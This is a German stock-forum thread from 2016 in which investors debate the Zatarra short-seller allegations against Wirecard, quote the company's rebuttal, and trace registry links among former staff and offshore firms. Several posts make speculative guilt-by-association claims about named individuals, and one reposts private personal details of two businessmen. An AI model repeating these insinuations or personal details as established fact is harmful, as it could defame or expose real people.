      Bis jetzt alles eine Frage des Blickwinkels, aber die Kursentwicklung ist langsam schon bedenklich. Der Chart sieht gar nicht mehr gut aus, immer mehr Druck auf die Unterstützung...
      Avatar
      schrieb am 09.07.16 11:46:22
      Beitrag Nr. 132 ()
      cashflow, Reichert, Spiegel

      Zitat von DIE_GERECHTIGKEIT: Da kommst Du mit einer Story Deines ersten Buchführungslehrer, der natürlich ein erfahrener Konzernprüfer war ;) und dann lässt Du doch glatt die Passage von @T.Herbst, die mit Abstand am wichtigsten und so fundiert war, dass sogar Schreiberlinge sie übernehmen:

      "Der CashBestand von Wirecard hat sich trotz aller "angeblichen" Gewinne unterm Strich nur durch Kapitalerhöhungen und Darlehensaufnahme erhöht, da das Geld konsequent in Firmenerwerbe reinvestiert wurde. Dieses Cashout der Investitionen findet man dann als immaterielle Vermögenmsgegenstände in der Bilanz. Hier Verweise ich auf die Vorwürfe von Dan Mc Crum/Zatarra hinsichtlich der Werthaltigkeit der gekauften Unternehmen. Darüber inwieweit tatsächlich Cash für die gekauften Firmen entsprechend den verlautbarten Kaufpreisen fließt darf spekuliert werden.

      Wenn ich den Cash der Kundeneinlagen gar nicht Wirecard zurechne komme ich sogar auf einen negativen FreeCashFlow."


      Darauf sollten wir uns in der Tat konzentrieren. Ich wäre T.Herbst oder den Bilanz-Experten sehr dankbar, wenn sie den Themenbereich des FreeCashFlows näher beleuchten würden, zu denen Kundeneinlagen meines Wissens doch niemals zählen können.

      Oder muss ich mir jetzt meinen erste Buchführungslehrer suchen? :D

      Gruß
      Julia
      Avatar
      schrieb am 09.07.16 11:49:50
      Beitrag Nr. 133 ()
      auch noch einmal anschauen

      Zitat von ValueAG: bzgl. der Historie von Wirecard:
      Ich kann den einen oder anderen Unternehmen/Vorständen zugestehen das sie sich etwas bereichert haben. Bei Coca Cola- Vorständen mittels Optionen (hier geht es um Milliarden-Beträge) wurde das sogar von Buffett durchgewunken. So was lässt sich leider nicht verhindern.

      Interessant ist Wirecard dabei das bei einigen Unternehmen (Payment Link, Systems@Work,..) die durch Wirecard übernommen wurden, kurz zuvor (teils auch am gleichen Tag) die Bilanzen aufgebläht wurden um den "Wert" Kundenbeziehungen zu erhöhen. Die Verkäufer der Unternehmen wären interessant. Wobei nicht immer Namen dabei fallen...

      bzgl. der Bewertung von Wirecard i. d. Vergangenheit:
      Vor 6-8 Jahren war Wirecard bezogen auf den FCF zur Marktkapitalisierung/EV sehr attraktiv Bewertet. Trotz negativer Hintergründe war das Unternehmen und die Bewertung interessant.

      Aktuell:
      Nur ist der FCF in den letzten 6-8 Jahren kaum angestiegen und die Bewertung ist um ein Vielfaches geklettert und überteuert.
      Die Übernahmen haben die Bilanz enorm gesteigert. Ob sich die letzte Übernahme für über 300 Mio. von GI Retail auszahlen wird, kann man von den minimalen bisher erreichten Umsatz-Niveau gespannt sein. Umsatz und Gewinn - Erwartungen sind aufjedenfall sehr optimistisch gesteckt...

      Die negativen Hintergründe haben deutlich zugenommen. Wirecard hat sich jetzt mehrmals widersprochen...

      Analysten wie Goldman Sachs und Berenberg bewertet Wirecard mit den Ansatz des PE-Growth.
      Die schauen zu wenig/ oder garnicht auf den FCF.
      Dabei werden die Gewinne immer in den Vordergrund geschoben, während der CF schwach ist....
      Der Bewertungs-Ansatz der Analysten ist falsch.

      bzgl. der Shortseller:
      Wenn sie sich fundamental irren kann der Kurs sich wieder komplett erholen.
      Wenn sie ihre Arbeit halbswegs richtig gemacht haben und alle relevanten Faktoren in die Bewertung einbezogen haben, kann ihr Bewertungs-Ansatz für den inneren Wert richtig sein. Und der ist tiefer als der aktuelle Kurs.

      Fazit:
      letztlich sind die fundamentalen Faktoren entscheidend.
      Avatar
      schrieb am 09.07.16 11:50:55
      Beitrag Nr. 134 ()
      interessant, wie invest_dd im März noch schrieb
      Zitat von invest_dd: Ich könnt mich ärgern, dass ich die Aktie gekauft habe. Habe auf Kurserholung gehofft. Wann kommt endlich was von Wirecard, was Vertrauen schafft und den Kurs wieder steigen lässt?

      Jeder darf mutmaßen und der Kurs leidet. Ist das Absicht?

      Meine Meinung.
      Avatar
      schrieb am 09.07.16 12:07:49
      Beitrag Nr. 135 ()
      wirecardstellungnahme

      Erklärung von Wirecard zu den Berichten, die von einer fragwürdigen Quelle veröffentlicht wurden und unwahre und verleumderische Behauptungen enthalten:
      Der Bericht ist vollkommen substanzlos und wir gehen davon aus, dass der Bericht verbreitet wurde, um unseren Aktienkurs negativ zu beeinflussen. Rechtliche Schritte wurden eingeleitet.
      Trotz des eindeutigen Mangels an Glaubwürdigkeit hat Wirecard erhebliche Zeit und Mühe in die Prüfung des Berichts und der darin enthaltenen Anschuldigungen investiert und ist zu dem Ergebnis gekommen, dass der Bericht gänzlich unwahr ist. Nachstehend finden Sie ausführliche Antworten auf eine Reihe der angesprochenen Punkte.
      Wirecard unterstützt seit jeher eine verstärkte Regulierung des Internetzahlungsverkehrs mit strikter Compliance, um Verbraucher, Händler und die Branche vor Fehlverhalten in jeglicher Form zu schützen. Wirecard war der erste Zahlungsverkehrsdienstleister (Payment Service Provider - PSP), der bereits im Jahr 2006 über eine Vollbanklizenz verfügte. Als beaufsichtigtes Unternehmen unterliegt Wirecard der umfassenden Regulierungsaufsicht und Einhaltung strenger Compliance-Verfahren für die Transaktionen des Unternehmens. Seit dem Erwerb der Vollbanklizenz durch Wirecard führt die Europäische Union rechtliche Rahmenbedingungen ein, die die Beantragung von Lizenzen seitens der Mitbewerber von Wirecard erfordern und dieselben der Regulierungsaufsicht unterstellen. Die deutsche Banklizenz von Wirecard und das daraus resultierende Regulierungssystem zeigen, dass Wirecard in einer der komplexesten und striktesten Regulierungsumgebungen Europas tätig ist.
      1. Als einer der weltweit führenden Online-Bezahldienste verfügt Wirecard über ausgezeichnete Kontakte zu sämtlichen Kreditkartenorganisationen. Durch seine beaufsichtigten Unternehmen im Vereinigten Königreich und in Deutschland ist Wirecard aktiver Lizenznehmer / aktives Mitglied dieser Organisationen, und zwar seit über einem Jahrzehnt. Neben seiner Rolle als Händler-Akzeptanz (Acquirer) und kartenausgebendes Institut (Issuer) für diverse Kreditkartenorganisationen verfügt Wirecard nicht nur über strategische Partnerschaften mit diesen Kartenorganisationen sondern hat auch Vermögenswerte und Tochtergesellschaften von ihnen erworben.
      2. Wirecard legt die Art der vom Unternehmen bearbeiteten Transaktionsvolumen und die Einnahmen im Zusammenhang mit jedem Kundenbranchensegment in seinen geprüften Jahresabschlüssen fortlaufend offen. Online-Glücksspieltransaktionen stammen ausschließlich von beaufsichtigten Glücksspielbetreibern und machen etwa 7% des gesamten Transaktionsvolumens von Wirecard aus. In der öffentlichen Berichterstattung von Wirecard werden sie im Segment ‚Digitalprodukte‘ zusammengefasst. Jegliche Behauptung, Wirecard würde die Zahlungsgerichtsbarkeit und das damit verbundene Händlerrisiko verschleiern, um Hochrisikoeinstufung und Authentifizierungsanforderungen innerhalb der Kreditkartenorganisationsnetzwerke zu umgehen, ist falsch. Die Compliance-Verfahren und Verfahren zur Einrichtung von Händlerkonten bei Wirecard werden mehrfach von den Aufsichtsbehörden sowie von den Kreditkartenorganisationen selbst geprüft. Die Zuweisung der Ländercodes und Händlerkategorien zu den jeweiligen Händlerkonten erfolgt in vollständiger Übereinstimmung mit sämtlichen aufsichtsrechtlichen Vorschriften, Steuervorschriften und Vorschriften der Kreditkartenorganisationen.
      3. Wirecard hat Krores nie erworben und steht in keinerlei Geschäftsbeziehung zu Krores.
      4. Wirecard hat keine direkten oder indirekten Geschäftsbeziehungen mit der Inatec GmbH.
      5. Wire Card UK Limited (Firmennummer 05888415) wurde am 27. Juli 2006 im Auftrag der Wirecard AG von einem Incorporation Agent zwecks Gründung einer Tochtergesellschaft für Wirecard im Vereinigten Königreich gegründet, aber letztendlich wurde anders entschieden so dass sie letztlich eine Vorratsgesellschaft war, die nie aktiviert, noch zu irgendeinem Zeitpunkt Eigentum der Wirecard Group war. Sie wurde am 17. August 2010 aufgelöst. Die erste Meldeadresse von Wire Card UK wurde vom Incorporation Agent festgelegt. Sie wurde nie geändert, weil die Gesellschaft nie aktiviert wurde. Wäre sie in irgendeiner Weise aktiviert worden, wäre die Anschrift selbstverständlich in eine Wirecard-Adresse abgeändert worden. Die Tatsache, dass es sich bei der Adresse um eine Wohnanschrift handelte, liegt außerhalb unseres Verantwortungs- und Einflussbereichs.
      6. Weder mittelbar noch unmittelbar hat Bluetool Limited jemals zur Wirecard Group gehört.
      7. Weder mittelbar- noch unmittelbar hat Bluemay Enterprises jemals zur Wirecard Gruppe gehört.
      8. H. Usman Fayaz war weder direkt noch indirekt Aktionär einer der Gesellschaften zum Zeitpunkt des Kaufs des Zahlungsgeschäfts der GI Retail Group. Weder GI Technologies noch Hermes waren jemals an irgendeiner Form von Lotterie- oder Gaming-Geschäft beteiligt. GI Technologies ist der führende Inlandsgeldtransferanbieter in Indien und der Aufsicht der indischen Zentralbank ‚Reserve Bank of India‘ (RBI) unterstellt. Das Unternehmen wird regelmäßig von den Aufsichtsbehörden geprüft und setzt strenge KYC- und Compliance-Verfahren für seine Geldtransfertransaktionen ein. Der Unternehmensbetrug, auf den hier Bezug genommen wird, bezieht sich auf die Firma Popular Agro Farms Pvt Ltd, die überhaupt nichts mit Wirecard oder GI Retail zu tun hat.
      9. Wirecard hat die Asia Pacific E-Serv Corporation (aspaconline) nie erworben. Wirecard Asia Pacific, Philippinen, war 2007 eine neu gegründete Gesellschaft und wurde 2012 aufgelöst.
      10. Wirecard hat niemals Content-Websites oder sonstige Handelsgeschäftsmodelle gehostet.
      11. Wirecard hat nie gegen das US-Gambling-Gesetz (UIGEA) verstoßen.
      12. Click2Pay war als Zahlungswallet vorwiegend für den europäischen Markt im Bereich digitaler Content positioniert. Gleichzeitig war Click2Pay konform mit den Regularien der Kreditkartenorganisationen und dem UIGEA. Click2Pay hat nie eine bedeutsame Marktstellung erreicht. Sowohl die abgewickelten Volumen als auch die Gewinnbeiträge waren in Relation zu den Kernprodukten-und Lösungen der Wirecard AG relativ gering. (2008 waren es beispielsweise im Konzern unter 4% der EBIT-Beiträge absteigend auf 0% ab 2010)
      1 Antwort
      Avatar
      schrieb am 09.07.16 19:38:56
      Beitrag Nr. 136 ()
      Ibcn2015 Coimbatore
      December 3, 2014 ·
      Get to know about Two Technology savy Nagarthar Brothers who are making a Nationwide impact on the Travel Industry and Mobile Payments. Potential contenders to form a Payment Bank .... Ramu and Palani would definitely show the path to inspiring Nagarthars to venture into new areas of business...
      Names : Ramu Annamalai Ramasamy and RM.Palaniyapan
      Koil : Irani Koil
      Native : Nerkuppai
      Spouse’s names : R.Umaiyal Radhai Ramu and Sudha Somasundaram Palaniyapan respectively
      Nature of Business: GI (Great Indian) Retail group in India, Bhutan, UAE, Phillipines and Nepal : Retail Travel Distribution, Money Moneyfer and Payments
      Email: ramu@gitech.in and palani@gitech.in
      For the first time we feature two brothers Ramu and Palaniyapan as Entrepreneurs of the week. It was imperative to do this as they have achieved many successes and it has all come in business ventures where they both play different but equally important roles.
      The brothers stay in Chennai and were educated at leading schools in Chennai like Padma Seshadari and Don Bosco. Two suave entrepreneurs who have majored in different fields, Ramu majored in business by doing his MMS from BITS Pilani and Palaniyapan pursued his mechanical engineering at PSG Tech, Coimbatore. Ramu the elder brother worked for Morgan Stanley for 18 months before he felt compelled to quit and assist his father with the Newsprint business they had in Chennai. Ramu was successful in getting breakthroughs with leading publications like Malayala Manorama and Matrubhoomi group. But after one and a half years of selling newsprint paper, when his brother Palani was in his third year of college at PSG, they ventured into internet based technology development with nothing more than a compaq personal computer bought on a loan and started a web portal called ‘Singara Chennai.com’. This website started in the year 1999-2000 primarily showcased their technical capabilities at a time when the internet was getting popular. Leveraging on their relationships with publications from their newsprint days, they made the portal a crowd favourite by posting cinema content and local news. Working from Ramu’s bedroom in Chennai along with two employees and Palani who was attending college but working on Fridays and the weekends, Singara Chennai caught the eyes of more than a million Tamil users world wide with the release of exclusive photographs and other content from the Rajini starrer ‘Padaiyappa’ post which there were a lot of enquiries to buy the portal. The brothers sold this portal on a high note to the current owners who rechristened the website as ‘Galatta.com’, which till today remains as a leading entertainment portal of South India.
      Brimming with success and confidence the brothers soon entered the gaming technology of lottery for a licensed operator. They were the first to introduce the technology of e-paper lottery (First of its kind in the world). However, regulatory restrictions impacted the lottery technology business.
      Get to know more about them at :
      http://ibcn2015.org/news.php

      https://www.facebook.com/IBCN2015/posts/388528204658235:0
      Avatar
      schrieb am 14.07.16 15:39:55
      Beitrag Nr. 137 ()
      PS: Was die britischen Finanzregulierer angeht, kann ich lediglich mitteilen, dass mir als Privatperson nicht mitgeteilt wurde, ob gegen Zatarra ermittelt werde. Dass Informationen über die Zatarraberichte den zuständigen Stellen weitergeleitet wurden, kann ich jedoch bestätigen. Wirecard hat eine britische Banklizenz, die man sich im Internet anschauen kann:
      https://register.fca.org.uk/
      Die Wirecard Bank hat z.B. eine Lizenz:
      Services (UK) of an Overseas Firm
      Current status
      EEA Authorised A firm regulated in another European Economic Area (EEA) country that can offer certain products or services in the UK. The firm must meet minimum standards agreed across all EEA countries. (...) This firm is not registered under the Money Laundering Regulations.


      Es gibt noch einen Eintrag unter"EMD agent" mit folgendem Hinweis: "This is a firm that can act on behalf of another firm (its 'principal') that is authorised or registered by the FCA as a payment or e-money institution. (...) A principal is a firm that is authorised in the UK or regulated in another country in the European Economic Area (EEA), and has another firm (its appointed representative or tied agent) act on its behalf.
      The principal is responsible for the activities of an appointed representative or tied agent."
      als Principal angegeben ist:
      Clickandbuy International Limited
      Möglicherweise hängt dies mit den leistungen zusammen, die WQirecard für clickandbuy erbringt ("mywalletcard")

      Wirecard Card Solutions Limited wiederum agiert als Principal für
      HD Card Services Ltd 900173 20/12/2013
      Pockit Limited 900514 15/9/2015
      Quantum Marketing (UK) Limited 900079 10/9/2012
      Tuxedo MoneyPlus Limited 900078 10/9/2012
      Avatar
      schrieb am 16.07.16 13:46:33
      Beitrag Nr. 138 ()
      Datum - Postings - Anteil Contra - Beleidigend - c&p pro
      unsachlich
      Kritiker:Positive
      25.6. 39 67% 7:5 0%
      26.6. Das war ein besonderer Tag, der "Alipay kauft Wirecard"-Tag. Sehr sachliche Diksussionen!!!
      26.6. 156 48% 10:10 14%
      27.6. 75 45% 5:3 17%
      28.6. 57 54% 4:0 15%
      29.6. 81 46% 8:15 16%
      30.6. 51 53% 4:5 21%
      1.7. 59 51% 10:14 17%
      2.7.+3.7. 37 46% 6:9 30%
      4.7.+5.7. 26 0% 0:2 38%
      6.7-12.7.(ohne jig)
      43 23% 2:4 18% (ohne "sehe ich auch so")
      ---------------------------------------------------------
      54:67 knapp 20%
      ---------------------------------------------------------
      jigajig zurück am Abend des 12.7. #18791 "Zatarra-Statment"
      12.+13.7. 45 36% 3:8 17%
      14.7. 94 50% 5:9 9%
      15.7. 36 42% 3:6 ?

      Ergebnisse:

      - die Anzahl der postings der vielen "pro" wirecard und der wenigen "contra" hält sich eie Waage
      - "contras" schreiben also mehr postings als "pros", v.a. jigajig
      - Anteil von "Spampostings" bei den Pros liegt bei knapp 20%
      - Anteil der "Spampostings" steigt stark, wenn jigajig nicht postet
      - Abwesenheit von Jigajig führt zu stark fallenden Gesamtpostingzahlen und weniger traffic
      - Anwesenheit von jigajig erhöht die Aggressivität
      - absolut und relativ gibt es mehr unsachliche Aussagen und Beleidigungen der Pros


      Alle Zahlen ohne Gewähr ohne genaues Zählen, aber: ich habe die gleiche Analyse bereits mehrfach gemacht, die Ergebnisse sind reproduzierbar.
      Avatar
      schrieb am 17.07.16 16:17:42
      Beitrag Nr. 139 ()
      Strange case of Ashazi
      In 2010 the audit opinion for E-Credit was qualified due to problems verifying the validity of “gateway fees” from a subsidiary, Infotop Singapore.
      Infotop was one of five resellers listed in note 14 to the E-Credit accounts detailing “Gateway Fees”:
      In 2010 the company has entered into ECP Relationship Management Partner Agreement with Ugrand Universal Limited, Infotop Singapore Pte Ltd, Credence Macau Ltd, Manboo UK Limited, and E-Credence UK Limited (Reseller).
      E-Credit reported S$1.3m in gateway fees for 2010, compared to zero in 2009.
      What might be considered odd is at the start of the year four of those so-called resellers for Wirecard were owned by Wirecard. A German filing lists them as subsidiaries.
      The two UK entities, Manboo and E-Credence UK, were dormant, according to Companies House.
      By the end of 2010 all four resellers were owned by the fifth, the Hong Kong registered Ugrand Universal.
      In 2013 Deitmar Knoechelmann, a former director of Wirecard subsidiaries, became a 50 per cent owner of Ugrand, according to Hong Kong filings.
      Wirecard said Ugrand is an external independent company and the four subsidiaries were not related parties. It said, “for HGB (German local GAAP) the legal ownership is relevant, while for IFRS the control is relevant, which was not taken over by Wirecard Group. The business background was that as part of the consolidation of the heterogeneous structure of E-credit we did not intend to take over these companies.”


      wirecard 2009
      Der Kaufpreis wurde aus Barmitteln der Gesellschaft finanziert. Die E-Credit-Gruppe, bestehend aus der E-Credit Plus Pte. Ltd. und ihren Tochtergesellschaften E-Credit Plus Corp.
      (Philippinen), E-Credence Plus UK Ltd. (Großbritannien), Infotop Singapore Pte. Ltd. (Singapur), Credence Macau Pte. Ltd. (Macau), Manboo UK Ltd. (Großbritannien), Credence Collection SDN BHD (Malaysia) und E-Payment Singapore Pte. Ltd. (Singapur) ist im Bereich der
      Online-Zahlungsabwicklung vorwiegend für E-Commerce-Händler im ostasiatischen Raum
      tätig. Damit baut die Wirecard AG ihre bereits mit der philippinischen Tochtergesellschaft
      Wirecard Asia Pacific Inc. bestehende Präsenz in Ost-Asien aus. Für das operative Geschäft
      in Asien erwartet die Wirecard Synergieeffekte im Konzern.


      Manboo UK Limited
      Aktuell
      https://beta.companieshouse.gov.uk/company/06629018/officers

      Sean James Forward ist seit 2013 director

      Den namen habe ich doch erst gestern gelesen... hmmmm.... aber wo?

      wo ist der noch director?
      https://beta.companieshouse.gov.uk/officers/bhWCZBnCF8cPJLHC…

      Na klar! Mit Knöchelmann bei der Marimune in Zypern!
      http://cy-check.com/marimune-ltd/320954.html

      Directors and Secretaries
      Name Designation
      SEAN FORWARD Director
      DIETMAR WALTER KNOECHELMANN Director
      DAVID PAUL BRITTON Director
      CATHERINE CLIO BRITTON Secretary

      und bei einer weiteren Knöchelmann-Firma
      https://opencorporates.com/companies/cy/HE266821

      CULDEE HOLDINGS LIMITED

      Company Number
      HE266821
      Status
      Active
      Incorporation Date
      3 May 2010 (about 6 years ago)
      Company Type
      Limited Company
      Jurisdiction
      Cyprus
      Registered Address

      Αγίας Χριστίνης, 12,
      Γερμασόγεια
      4044, Λεμεσός, Κύπρος
      Cyprus


      Und eine Payfusion findet sich, die es - als Go-Ahead-Gründung - auch in UK gibt...

      Aber es gibt auch eine secretary-Stellung des Herrn Forward, hier:
      https://www.endole.co.uk/company/05448986/nat-a1-limited?pag…

      Nat A1 Limited
      Office 1 35 Princess Street, Rochdale, OL12 0HA


      Diese Firma gehört zu einer US-Firma in Philadelphia, die 2010 vom FBI gestürmt wurde:
      http://6abc.com/archive/7750854/
      http://articles.philly.com/2010-10-29/news/24955402_1_toll-f…

      Gibt es da etwa eine Verbindung zur National A1 und zur Primetel?

      2005 verwendete ein Ex-CEO der heutigen Wirecard eine Mailadresse primetel_ltd@yahoo.com
      Das Problem: Es gibt jede menge Firmen, die so heißen... u.a. eben eine, die zur National-A1 gehört. Es war immer wieder versucht worden, damals einen Zusammenhang herzustellen. Diese National-A1 war ja schließlich auch Teilnehmer der berüchtigten Branchentreffen auf Mallorca.

      Zur Mailadresse passte eher diese Firma:
      Primetel Ltd.
      23 Portland House
      Glacis Road
      Gibraltar

      diese nannte sich wiederum manchmal nicht PRIMETEL sondern PREMIATEL
      Premiatel Ltd.
      23 Portland House
      Glacis Road, Gibraltar, 01000, Gibraltar

      Man hatte eine deutsche Telefon- und Faxnummer
      +49.01805666613
      +49.01805876452

      Das gehörte zum Pornokomplex des Seligenstädter Kreisels um Jochen Hochrein (und eben auch Freddy Kalder)

      so weit, so gut...

      Diese National-A1/Primetel wurde also verurteilt wegen Geldwäsche, hat eine persönliche Verbindung zu den Knöchelmannfirmen, sitzt übrigens in Delaware (zusammen mit einer halben Million anderer Firmen) im selben Postfach wie die dortige Wirecard-US-Firma, dort wiederum sitzt auch die "Primetel" aus dem damaligen Dialerfall unter Beteiligung der sich manchmal Premiatel nenennenden Primetel aus Gibraltar bzw. deren Verantwortlichen aus der Seligenstädter Zeit der Wirecard, die wiederum direkt zum Fall Schütt führen.

      Ganz schön kompliziert...

      Die weltweiten Nutzungsrechte der für den Geschäftsbereich „Zahlungssysteme“ erforderlichen Abrechnungs-Software wurden der ebs Holding AG von der Keen & Partner GmbH,
      Frankfurt, eingeräumt. Der Lizenzvertrag ist auf unbestimmte Zeit geschlossen. Allerdings
      besteht ein ordentliches Kündigungsrecht der Keen & Partner GmbH mit einer Frist von
      sechs Monaten zum Jahresende. Die ebs Holding AG lizenziert diese Software wiederum an
      die Crosskirk. Der Lizenzvertrag wurde von der ebs Holding AG im Rahmen eines Ausgliederungsvertrag vom 18. Dezember 2002 auf die ebs Global GmbH übertragen. Im Ergebnis
      verfügt also die ebs Global GmbH über die Software-Nutzungsrechte und lizenziert diese an
      die Crosskirk (siehe auch Kap. 7.6.3).


      tja, das war es damals auch schon :)
      Avatar
      schrieb am 17.07.16 16:43:02
      Beitrag Nr. 140 ()
      Keen, das war Robert Lee Keen, "Partner", das war Ralf Gath.
      https://www.moneyhouse.de/Ralf-Gath

      Porno, Payment, Poker, Politik und Partnerschaften. Damals wie heute.
      ...und einige Namen und Personen habe ich noch gar nicht erwähnt...

      Der Herr aus Philadelphia stand übrigens vor wenigen Tagen in der Zeitung
      http://www.phillyvoice.com/phillys-king-porn-lists-society-h…
      Avatar
      schrieb am 17.07.16 17:03:40
      Beitrag Nr. 141 ()
      und Sean Forward ist aktuell Inahber der mpos21.com - diese wiederum führt zur Inatec, zu Nelson Burtnick, usw usf...
      https://de.linkedin.com/in/nelsonburtnick

      Beleg
      http://domainbigdata.com/name/sean%20forward
      Avatar
      schrieb am 19.07.16 00:08:21
      Beitrag Nr. 142 ()
      aber jetzt die Preisfrage... wer hat das billing gemacht???
      Lief das über die Philippinen???

      warm?
      http://www.presseportal.de/pm/15202/885843
      Die Wirecard AG konnte die philippinische Telecom Concepts-Gruppe, eines der größten Telekommunikationsunternehmen im asiatischen Raum mit rund 3,5 Mrd Dollar Jahresumsatz, als Kunden gewinnen. Die Telecom Concepts, Inc zählt zu ihren Tochterunternehmen ePhone Co., Inc., First Telecom Philippines Inc. sowie Load.Com.Ph. Die Wirecard Bezahllösung CLICK2PAY wird künftig auf Load.Com.Ph, einer der erfolgreichsten asiatischen Vertriebs- und Ladeplattformen für regionale Prepaidkarten, eingesetzt.

      Na kuck mal einer an!

      warm?
      aspaconline.com
      Asia Pacific E-Serv Corporation - Internet Payment Solution, Merchant Account
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      25th Floor Yuchengco Tower 1 RCBC Plaza, 6819 Sen Gil Puyat Avenue corner Ayala Avenue
      Makati City, 1226,
      Ph
      Tel: +63(2)8564421
      308 ratings.513 user reviews.


      wärmer?
      Mandaluyong-born Ronald Magleo’s technopreneurial journey started in 2007, when he began working for a German payment services provider Wirecard AG. However, his expertise in entrepreneurship went back in 2002, after graduating from the De La Salle University with a degree in Commerce. He helped put up Asia Pacific E-Serv Corporation, one of the first third-party payments provider for Banco de Oro.
      Two years later, Wirecard AG acquired Magleo’s company – and he found himself working with the German firm for three years as its operations director in the Asia-Pacific region.


      kaaaaaalt?
      Wirecard has never acquired Asia Pacific E-Serv Corporation (aspaconline). Wirecard Asia Pacific, Philippines was a newly established company in 2007 and was dissolved in 2012.


      wärmer?
      Wirecard Asia Pacific Inc. +63 2 856 4421


      wärmer?
      Wirecard Asia Pacific Incorporated
      Local Business in Makati - Philippines
      Business Centres
      25th Floor Yuchengco Tower I RCBC Plaza, Ayala Avenue, Makati City, 1200, Metro Mnila, Philippines
      Avatar
      schrieb am 19.07.16 00:55:10
      Beitrag Nr. 143 ()
      ...manches wiederum ist plötzlich ganz einfach...
      2000 –2008
      Geschäftsführender Gesellschafter der Gesellschaft für Onlinesysteme mbH, später Gateway Payment Solution Ltd, Dublin, Köln und Toronto
      Verantwortung für den gesamten operativen Bereich der Gesellschaft mit 64 Mitarbeitern.
      Verkauf des Unternehmens am 31.10.2007 an die Wirecard AG, Aschheim/Dornach.

      seit 01/2009
      Gesellschafter und Geschäftsführer der ..... Löwenor Verwaltungsgesellschaft mbH,

      Schwerpunkte sind die professionelle Beratung, Einführung und Umsetzung von Bezahlsystemen und Risikomanagementabläufen für Onlinehändler und PSPs (Payment Service Provider). Aufbau und Optimierung von Managementstrukturen, Verwaltung, Beteiligungen und Investitionen.

      Einige Projekte:
      Skrill Holding Ltd. London und Berlin:
      Konzeptionierung und Planung einer PSP-Struktur für die Niederlassung in Berlin

      Mr Cash E-Wallet, Gibraltar
      High Risk Operationsstrategie und Vertriebsausrichtung

      PPRO Ltd, London und München
      Optimierung der Vertriebsstruktur, Produktentwicklung, alternative Zahlarten weltweit

      Inatec Payment AG, Luzern, CH und Frankfurt
      Verantwortlich für den gesamten “Risiko- und Operativen Bereich”,

      Wirecard Payment Solutions Ltd
      Vice President Operation mit Prokura für de Standort Köln (Anforderung aus Firmenverkauf)


      Trautmann hat, kurz nachdem er "aus familiären gründen" bei der Wirecard ausgesteigen ist, mit Buchholz zusammen die Krores übernommen von Katial und Andy Quinn.

      Insofern:
      3. Wirecard hat Krores nicht übernommen und besitzt keinerlei Geschäftsbeziehungen zu
      Krores.

      könnte schon stimmen. ein wenig. oder wie würde Warburg sagen?
      "some information can easily be identified as rather (partially) incorrect."
      https://companycheck.co.uk/company/IE409925/WIRECARD-PAYMENT…
      Avatar
      schrieb am 19.07.16 23:47:33
      Beitrag Nr. 144 ()
      Hat eigentlich schon jemand den Herrn Buchholz gefragt, was die ganze Aufregung soll?
      Im April 2013 stellte Ralf Buchholz eine Visitenkarte ins Netz.
      2014 kandidierte der frühere Schützenkönig für das Bürgermeisteramt in Brüggen, dem Ort, an dem die "Vorstadtkrokodile" gedreht wurden.

      Seine Vita offenbart spannende Details. Aber was wirklich erstaunlich ist...
      2000 –2008
      Geschäftsführender Gesellschafter der Gesellschaft für Onlinesysteme mbH, später Wirecard Payment Solution[*] Ltd, Dublin, Köln und Toronto

      Verantwortung für den gesamten operativen Bereich der Gesellschaft mit 64 Mitarbeitern und einem Jahresumsatz ca. 1,8 Mrd Euro.

      Verkauf des Unternehmens am 31.12.2008 an die Wirecard AG, Grasbrunn.
      --
      seit 01/2009
      Gesellschafter und Geschäftsführer der RBuchholz Consulting und der Löwenor Verwaltungsgesellschaft mbH,
      Schwerpunkte sind die professionelle Beratung, Einführung und Umsetzungen von Bezahlsystemen und Risikomanagementabläufen für Händler und PSPs (Payment Service Provider) sowie Verwaltung, Beteiligungen und Investitionen.

      Projekte:
      Allied Wallet Ltd. London und Frankfurt

      Skrill Holding Ltd.[sic!]London und Berlin:
      Konzeptionierung und Planung einer PSP-Struktur für die Niederlassung in Berlin

      Mr Cash E-Wallet, Gibraltar
      High Risk Operationsstrategie und Vertriebsausrichtung

      PPRO Ltd, London und München [sic!]
      Optimierung der Vertriebsstruktur, Produktentwicklung, alternative Zahlarten weltweit

      Inatec Payment AG, Luzern, CH und Frankfurt [sic!]
      Verantwortlichkeit für den gesamten Risiko- und Operativen Bereich,

      Wirecard Payment Solutions Ltd
      Vice President Operation mit Prokura für alle Standorte (Anforderung aus Firmenverkauf)

      Das war der Stand. Daran wurde nichts geändert. Eine Vita ändert sich ja normalerweise nicht... Aber dann plötzlich, im April 2016 (!), stand da dies hier:

      2000 –2008
      Geschäftsführender Gesellschafter der Gesellschaft für Onlinesysteme mbH, später Gateway Payment Solution[*] Ltd, Dublin, Köln und Toronto

      Verantwortung für den gesamten operativen Bereich der Gesellschaft mit 64 Mitarbeitern.
      Verkauf des Unternehmens am 31.10.2007 an die Wirecard AG, Aschheim/Dornach.

      [...]
      Wirecard Payment Solutions Ltd
      Vice President Operation mit Prokura für de Standort Köln (Anforderung aus Firmenverkauf)


      Warum nur diese Änderung?

      Fragen wir mal Zatarra, wer Herr Buchholz ist:

      Fantazzle was originally registered as Krores UK Limited (“Krores UK”). Its name changed
      to Fantazzle on April 23, 2010, a few days prior to the appointment of Rüdiger Trautmann
      and Ralf Buchholz (another Wirecard former employee) as officers.
      Vineet Katial (“Katial”),
      co-founded Krores Limited in Ireland in June 2007, and several other Krores entities.

      (Zatarra, I, S. 20)
      Buchholz trat also zusammen mit Trautmann, der kurz zuvor "aus familiären Gründen" die Wirecard verlassen hatte, in eine Firma ein, die kurz zuvor von Krores in Fantazzle umbenannt worden war. Einer der früheren Direktoren der Krores war Andy Quinn (director von Wirecard Ireland).
      Andy Quinn was also an officer from June 30, 2006 to January 1, 2010 to Wirecard Payment Solutions Holdings Limited; registered to Ulysses House, Foley Street, Dublin, Ireland
      (Zatarra, I, S. 19)

      Jochen Reichert hat in seinem Bericht zu Zatarra den Namen Ralf Buchholz kein einziges Mal erwähnt.

      Die "Gateway Payment Solutions" ist diese Firma
